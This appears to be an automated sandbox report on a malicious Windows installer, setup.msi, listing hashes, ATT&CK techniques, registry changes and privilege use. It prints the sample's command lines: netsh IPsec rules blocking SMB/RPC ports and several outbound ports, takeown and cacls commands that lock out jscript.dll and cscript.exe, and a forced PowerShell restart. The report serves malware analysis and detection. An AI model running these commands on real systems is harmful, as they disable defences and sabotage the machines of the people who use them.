dbf87a5fcbfb1c8fd567e3c7a2103e63ad62422a0cc7d1ea64a265364ecfb3ba

Analysis

max time kernel
28s
max time network
31s
platform
windows7_x64
resource
win7-20230703-en
resource tags

arch:x64arch:x86image:win7-20230703-enlocale:en-usos:windows7-x64system
submitted
10-07-2023 01:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

setup.msi
Size

2.9MB
MD5

20bec50362e877fa5935cb1fc67012f9
SHA1

e437f0934a4715bde47367e8a424ae5fe6040e2f
SHA256

dbf87a5fcbfb1c8fd567e3c7a2103e63ad62422a0cc7d1ea64a265364ecfb3ba
SHA512

49dc81b3e84c189f18b599980e15b970a05152d4c91ef2125ac045005f4a7e2f74a6120a23faed814d297784a5c197d3c0b8ec59125f8172f1111a9fe9a9fad3
SSDEEP

49152:QQvlrXVVdWX59GUrSLzeaVtFU2e2PfqZ2jQbfcOQHe1i+aW3NAWt6x7JjhS4V+s0:BlQFrEZHY7LE+x0VV+s0qMr

Score

8^/10

discovery evasion

Malware Config

Signatures

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Loads dropped DLL 4 IoCs

Processes:

MsiExec.exe

pid process

1192 MsiExec.exe
1192 MsiExec.exe
1192 MsiExec.exe
1192 MsiExec.exe
Modifies file permissions 1 TTPs 6 IoCs
discovery

File Permissions Modification
T1222

Processes:

takeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exe

pid process

3032 takeown.exe
2984 takeown.exe
2388 takeown.exe
2608 takeown.exe
512 takeown.exe
1960 takeown.exe

pid	process
1192	MsiExec.exe
1192	MsiExec.exe
1192	MsiExec.exe
1192	MsiExec.exe

pid	process
3032	takeown.exe
2984	takeown.exe
2388	takeown.exe
2608	takeown.exe
512	takeown.exe
1960	takeown.exe

Enumerates connected drives 3 TTPs 48 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

msiexec.exemsiexec.exe

description	ioc	process
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Windows directory 12 IoCs

Processes:

msiexec.exe

description	ioc	process
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\dbcode86mk.log	msiexec.exe
File opened for modification	C:\Windows\Installer\6d3bfa.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4187.tmp	msiexec.exe
File created	C:\Windows\Installer\6d3bfa.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4713.tmp	msiexec.exe
File created	C:\Windows\Installer\6d3bf8.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\6d3bf8.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3D21.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI404D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI40DA.tmp	msiexec.exe
File created	C:\Windows\.xml	msiexec.exe

Launches sc.exe 2 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exe

pid process

2928 sc.exe
2660 sc.exe

pid	process
2928	sc.exe
2660	sc.exe

Modifies data under HKEY_USERS 43 IoCs

Processes:

netsh.exenetsh.exemsiexec.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exepowershell.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exe

description	ioc	process
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2E	msiexec.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D	msiexec.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies."	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c0e3a9b0cdb2d901	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

msiexec.exepowershell.exe

pid process

2444 msiexec.exe
2444 msiexec.exe
2248 powershell.exe

pid	process
2444	msiexec.exe
2444	msiexec.exe
2248	powershell.exe

Suspicious use of AdjustPrivilegeToken 60 IoCs

Processes:

msiexec.exemsiexec.exepowercfg.exepowershell.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exe

description	pid	process
Token: SeShutdownPrivilege	2424	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2424	msiexec.exe
Token: SeRestorePrivilege	2444	msiexec.exe
Token: SeTakeOwnershipPrivilege	2444	msiexec.exe
Token: SeSecurityPrivilege	2444	msiexec.exe
Token: SeCreateTokenPrivilege	2424	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2424	msiexec.exe
Token: SeLockMemoryPrivilege	2424	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2424	msiexec.exe
Token: SeMachineAccountPrivilege	2424	msiexec.exe
Token: SeTcbPrivilege	2424	msiexec.exe
Token: SeSecurityPrivilege	2424	msiexec.exe
Token: SeTakeOwnershipPrivilege	2424	msiexec.exe
Token: SeLoadDriverPrivilege	2424	msiexec.exe
Token: SeSystemProfilePrivilege	2424	msiexec.exe
Token: SeSystemtimePrivilege	2424	msiexec.exe
Token: SeProfSingleProcessPrivilege	2424	msiexec.exe
Token: SeIncBasePriorityPrivilege	2424	msiexec.exe
Token: SeCreatePagefilePrivilege	2424	msiexec.exe
Token: SeCreatePermanentPrivilege	2424	msiexec.exe
Token: SeBackupPrivilege	2424	msiexec.exe
Token: SeRestorePrivilege	2424	msiexec.exe
Token: SeShutdownPrivilege	2424	msiexec.exe
Token: SeDebugPrivilege	2424	msiexec.exe
Token: SeAuditPrivilege	2424	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2424	msiexec.exe
Token: SeChangeNotifyPrivilege	2424	msiexec.exe
Token: SeRemoteShutdownPrivilege	2424	msiexec.exe
Token: SeUndockPrivilege	2424	msiexec.exe
Token: SeSyncAgentPrivilege	2424	msiexec.exe
Token: SeEnableDelegationPrivilege	2424	msiexec.exe
Token: SeManageVolumePrivilege	2424	msiexec.exe
Token: SeImpersonatePrivilege	2424	msiexec.exe
Token: SeCreateGlobalPrivilege	2424	msiexec.exe
Token: SeRestorePrivilege	2444	msiexec.exe
Token: SeTakeOwnershipPrivilege	2444	msiexec.exe
Token: SeRestorePrivilege	2444	msiexec.exe
Token: SeTakeOwnershipPrivilege	2444	msiexec.exe
Token: SeRestorePrivilege	2444	msiexec.exe
Token: SeTakeOwnershipPrivilege	2444	msiexec.exe
Token: SeRestorePrivilege	2444	msiexec.exe
Token: SeTakeOwnershipPrivilege	2444	msiexec.exe
Token: SeRestorePrivilege	2444	msiexec.exe
Token: SeTakeOwnershipPrivilege	2444	msiexec.exe
Token: SeRestorePrivilege	2444	msiexec.exe
Token: SeTakeOwnershipPrivilege	2444	msiexec.exe
Token: SeRestorePrivilege	2444	msiexec.exe
Token: SeTakeOwnershipPrivilege	2444	msiexec.exe
Token: SeShutdownPrivilege	1612	powercfg.exe
Token: SeDebugPrivilege	2248	powershell.exe
Token: SeTakeOwnershipPrivilege	512	takeown.exe
Token: SeTakeOwnershipPrivilege	1960	takeown.exe
Token: SeTakeOwnershipPrivilege	3032	takeown.exe
Token: SeTakeOwnershipPrivilege	2984	takeown.exe
Token: SeTakeOwnershipPrivilege	2388	takeown.exe
Token: SeTakeOwnershipPrivilege	2608	takeown.exe
Token: SeRestorePrivilege	2444	msiexec.exe
Token: SeTakeOwnershipPrivilege	2444	msiexec.exe
Token: SeRestorePrivilege	2444	msiexec.exe
Token: SeTakeOwnershipPrivilege	2444	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

msiexec.exe

pid process

2424 msiexec.exe
2424 msiexec.exe

pid	process
2424	msiexec.exe
2424	msiexec.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

msiexec.exeMsiExec.exe

description	pid	process	target process
PID 2444 wrote to memory of 1192	2444	msiexec.exe	MsiExec.exe
PID 2444 wrote to memory of 1192	2444	msiexec.exe	MsiExec.exe
PID 2444 wrote to memory of 1192	2444	msiexec.exe	MsiExec.exe
PID 2444 wrote to memory of 1192	2444	msiexec.exe	MsiExec.exe
PID 2444 wrote to memory of 1192	2444	msiexec.exe	MsiExec.exe
PID 2444 wrote to memory of 1192	2444	msiexec.exe	MsiExec.exe
PID 2444 wrote to memory of 1192	2444	msiexec.exe	MsiExec.exe
PID 2444 wrote to memory of 2008	2444	msiexec.exe	MsiExec.exe
PID 2444 wrote to memory of 2008	2444	msiexec.exe	MsiExec.exe
PID 2444 wrote to memory of 2008	2444	msiexec.exe	MsiExec.exe
PID 2444 wrote to memory of 2008	2444	msiexec.exe	MsiExec.exe
PID 2444 wrote to memory of 2008	2444	msiexec.exe	MsiExec.exe
PID 2444 wrote to memory of 2008	2444	msiexec.exe	MsiExec.exe
PID 2444 wrote to memory of 2008	2444	msiexec.exe	MsiExec.exe
PID 2008 wrote to memory of 1612	2008	MsiExec.exe	powercfg.exe
PID 2008 wrote to memory of 1612	2008	MsiExec.exe	powercfg.exe
PID 2008 wrote to memory of 1612	2008	MsiExec.exe	powercfg.exe
PID 2008 wrote to memory of 1612	2008	MsiExec.exe	powercfg.exe
PID 2008 wrote to memory of 2248	2008	MsiExec.exe	powershell.exe
PID 2008 wrote to memory of 2248	2008	MsiExec.exe	powershell.exe
PID 2008 wrote to memory of 2248	2008	MsiExec.exe	powershell.exe
PID 2008 wrote to memory of 2248	2008	MsiExec.exe	powershell.exe
PID 2008 wrote to memory of 2460	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 2460	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 2460	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 2460	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 2432	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 2432	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 2432	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 2432	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 2760	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 2760	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 2760	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 2760	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 1196	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 1196	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 1196	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 1196	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 2616	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 2616	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 2616	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 2616	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 1636	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 1636	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 1636	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 1636	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 2528	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 2528	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 2528	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 2528	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 1380	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 1380	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 1380	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 1380	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 2708	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 2708	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 2708	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 2708	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 1704	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 1704	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 1704	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 1704	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 2856	2008	MsiExec.exe	netsh.exe
PID 2008 wrote to memory of 2856	2008	MsiExec.exe	netsh.exe

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\setup.msi
1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2424

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2444

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 34B7A77129A702ADF14E81D999A4F8C0
2⤵
- Loads dropped DLL
PID:1192

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding CA42915ED7663376250E645C17B2F0D9 M Global\MSI0000
2⤵
- Suspicious use of WriteProcessMemory
PID:2008

C:\Windows\SysWOW64\powercfg.exe
"C:\Windows\SysWOW64\powercfg.exe" /S 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1612

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Sleep -Seconds 900; Restart-Computer -Force
3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2248

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\SysWOW64\netsh.exe" ipsec static add policy name=qianye
3⤵
- Modifies data under HKEY_USERS
PID:2460

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filterlist name=Filter1
3⤵
- Modifies data under HKEY_USERS
PID:2432

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP
3⤵
- Modifies data under HKEY_USERS
PID:2760

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP
3⤵
- Modifies data under HKEY_USERS
PID:1196

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP
3⤵
- Modifies data under HKEY_USERS
PID:2616

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=UDP
3⤵
- Modifies data under HKEY_USERS
PID:1636

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=UDP
3⤵
- Modifies data under HKEY_USERS
PID:2528

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=UDP
3⤵
- Modifies data under HKEY_USERS
PID:1380

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=2222 protocol=TCP
3⤵
- Modifies data under HKEY_USERS
PID:2708

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=3333 protocol=TCP
3⤵
- Modifies data under HKEY_USERS
PID:1704

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=4444 protocol=TCP
3⤵
- Modifies data under HKEY_USERS
PID:2856

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=5555 protocol=TCP
3⤵
- Modifies data under HKEY_USERS
PID:2816

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=6666 protocol=TCP
3⤵
- Modifies data under HKEY_USERS
PID:2488

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=7777 protocol=TCP
3⤵
- Modifies data under HKEY_USERS
PID:740

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=8888 protocol=TCP
3⤵
- Modifies data under HKEY_USERS
PID:2940

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=9000 protocol=TCP
3⤵
- Modifies data under HKEY_USERS
PID:2416

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=9999 protocol=TCP
3⤵
- Modifies data under HKEY_USERS
PID:3064

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=14443 protocol=TCP
3⤵
- Modifies data under HKEY_USERS
PID:1892

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=14444 protocol=TCP
3⤵
- Modifies data under HKEY_USERS
PID:1312

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filteraction name=FilteraAtion1 action=block
3⤵
- Modifies data under HKEY_USERS
PID:752

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\SysWOW64\netsh.exe" ipsec static add rule name=Rule1 policy=qianye filterlist=Filter1 filteraction=FilteraAtion1
3⤵
- Modifies data under HKEY_USERS
PID:2452

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\SysWOW64\netsh.exe" ipsec static set policy name=qianye assign=y
3⤵
- Modifies data under HKEY_USERS
PID:1456

C:\Windows\SysWOW64\takeown.exe
"C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\system32\jscript.dll
3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:512

C:\Windows\SysWOW64\cacls.exe
"C:\Windows\SysWOW64\cacls.exe" C:\Windows\system32\jscript.dll /E /P everyone:N
3⤵
PID:816

C:\Windows\SysWOW64\takeown.exe
"C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\syswow64\jscript.dll
3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1960

C:\Windows\SysWOW64\cacls.exe
"C:\Windows\SysWOW64\cacls.exe" C:\Windows\syswow64\jscript.dll /E /P everyone:N
3⤵
PID:1128

C:\Windows\SysWOW64\takeown.exe
"C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\system32\cscript.exe
3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:3032

C:\Windows\SysWOW64\cacls.exe
"C:\Windows\SysWOW64\cacls.exe" C:\Windows\system32\cscript.exe /E /P everyone:N
